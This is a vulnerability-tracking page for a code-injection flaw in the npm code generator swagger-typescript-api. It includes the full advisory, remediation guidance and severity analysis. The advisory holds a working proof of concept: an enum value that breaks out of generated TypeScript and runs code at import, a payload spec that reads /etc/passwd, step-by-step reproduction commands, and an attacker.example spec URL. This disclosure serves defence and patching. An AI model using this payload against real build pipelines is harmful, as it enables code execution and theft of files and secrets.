Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconHost malicious OpenAPI spec
-
DeliveryVictim generates client from spec
-
ExploitEnum value breaks out of TypeScript enum
-
InstallBare-block async IIFE injected
-
C2Victim imports generated module
-
ExecuteCode executes at module load
-
ImpactRead/exfiltrate files with importer privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
|
| Exploitation Conditions | Requires that the victim run swagger-typescript-api against an OpenAPI spec containing an attacker-controlled string in components.schemas.*.enum, using the default enumStyle:"enum" output mode, and then import the generated module (or anything that transitively imports it, e.g. data-contracts.ts in modular mode) into a Node/TypeScript process. No HttpClient instantiation and no API method call are needed - a bare import triggers the module-load IIFE. Limiting factors: the attacker must control the spec source (remote --url, third-party/public/tenant-supplied spec, or a spec file editable via PR), the victim must actually generate and import the client (UI:R), and a non-default enumStyle that does not emit a native enum body would break the specific breakout used in the PoC. There are no authentication prerequisites on the victim side (PR:N). |
| Impact | The vendor CVSS 3.1 vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (8.3, High) captures the trade-offs: network-delivered spec, no privileges on the victim, required user interaction (the victim must run the generator and import the output), and a scope change because generator input executes in the importing consumer's process. No EPSS score, KEV listing, or SSVC decision is present in the input, so automated-exploitation probability cannot be quantified from this data. The decisive real-world limiter is that this is a developer/CI-time supply-chain vector, not an internet-facing service flaw - exploitation requires a victim to generate a client from a spec they did not fully author. Where that condition holds (remote --url specs, vendor/partner specs rebuilt in CI, multi-tenant per-tenant client generation, or a spec file a contributor can edit via PR), the impact is full RCE with the importing process's privileges, making this a genuine high priority for teams with such pipelines rather than a high-CVSS-but-low-risk issue. The AC:H in the vendor vector is arguable: the published PoC is deterministic against the default enumStyle, so practical attack complexity is lower than AC:H implies once the target is known to consume untrusted specs. |
| Exploit ScenarioDerived | An attacker publishes or supplies a malicious OpenAPI spec (hosted for |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 29, 2026
Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) lets an attacker who controls an OpenAPI spec inject JavaScript that runs at module load in whoever generates and imports the client. Because the generator's Ts.StringValue helper wraps enum strings in double quotes with zero escaping, a crafted components.schemas.*.enum value breaks out of the generated TypeScript enum and plants a bare-block async IIFE that fires on a mere import - no HttpClient instantiation or API call needed. Publicly available exploit code exists (self-contained reproducer in advisory GHSA-5f94-x226-ccpm), but there is no active exploitation confirmed and it is not in CISA KEV; the fix landed in 13.12.2.
RemediationAI
Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 (https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes enum string values by hardening Ts.StringValue via a new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit 306d59acb8ffbb00f953f807b97234b21f51d9de); the same change also protects the other Ts.StringValue call sites and the release additionally fixes related injection in servers[0].url and route paths plus SSRF/token-exfiltration via remote $ref. If you cannot upgrade immediately, treat every OpenAPI spec as untrusted input: only generate from specs you fully author, pin and review spec files so a PR cannot silently alter enum values, and avoid generating from remote --url or tenant-supplied specs, accepting that this removes convenient automated regeneration. As a further compensating control, run the generator and the first import in an isolated least-privilege sandbox (no secrets, restricted filesystem and network egress) so a module-load IIFE cannot read tokens or exfiltrate data, at the cost of added CI complexity. Manually diffing generated enum bodies for stray ;}, bare {, or trailing // before importing is a stopgap detection, not a reliable control.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
swagger-typescript-api is a Node.js/TypeScript code generator that turns an OpenAPI/Swagger specification into a typed API client using EJS templates. The root cause is in src/configuration.ts:250 where StringValue is defined as (content) => "${content}" - it emits a TypeScript string literal without escaping quotes, backslashes, or newlines. Enum values reach this sink via src/schema-parser/base-schema-parsers/enum.ts:100 and :116 and are interpolated raw into templates/base/enum-data-contract.ejs under the default enumStyle:"enum" branch. This is a classic injection root cause (CWE-74; effectively CWE-94 code injection and CWE-1336 template injection): a " closes the literal, ;} terminates the enum body, { opens a top-level bare block, and a trailing // swallows the appended closing quote so the output still parses and bundles cleanly through esbuild. The affected package per CPE is pkg:npm/swagger-typescript-api. Several sibling call sites (schema-utils.ts, object.ts, discriminator.ts) use the same unescaped helper but land in type-level positions and are safe only by accident of context, not by design.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Attacker fully controls the spec and the PoC is deterministic against the default enum style (AC:L), needs no victim auth (PR:N) but requires the victim to generate and import (UI:R), and generator input executes in the consumer's process (S:C) for full RCE.
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
DescriptionCVE.org
Summary
swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call - only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges - read any file the importer can read, write any file, exfiltrate secrets, etc.
Details
The root cause is Ts.StringValue in src/configuration.ts:250:
StringValue: (content: unknown) => `"${content}"`,It wraps a value in double quotes with zero escaping - no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.
Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:
return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):
export enum <%~ name %> {
<%~ _.map($content, ({ key, value, description }) => {
...
return [
formattedDescription && `/** ${formattedDescription} */`,
`${key} = ${value}`
].filter(Boolean).join("\n");
}).join(",\n") %>
}Where ${value} is the result of Ts.StringValue - raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.
A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').
The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime - they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious enum value (literal string, JSON-encoded in the spec below):
blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
"components": {
"schemas": {
"Color": {
"type": "string",
"enum": [
"red",
"blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
]
}
}
},
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": {
"200": {
"description": "OK",
"content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
}
}
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (enum block - payload):
export enum Color {
Red = "red",
BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
}The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.
Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:
sta generate --url https://attacker.example/openapi.json- a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR - the spec change is itself the exploit.
Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value - they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.
Privilege: the IIFE runs with the full privileges of the importing process - read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.
Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal - escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators ` / . JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue` (currently safe only by accident of landing in type-level positions).
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
Executive ViewAI
swagger-typescript-api, a popular npm package for generating TypeScript API clients, enables code execution when processing maliciously crafted OpenAPI specifications. Organizations using this library face supply chain risk, with injected code executing silently in deployed applications at import time. Upgrading to patched version 13.12.2 is required to eliminate this critical vulnerability.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-50366
GHSA-5f94-x226-ccpm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB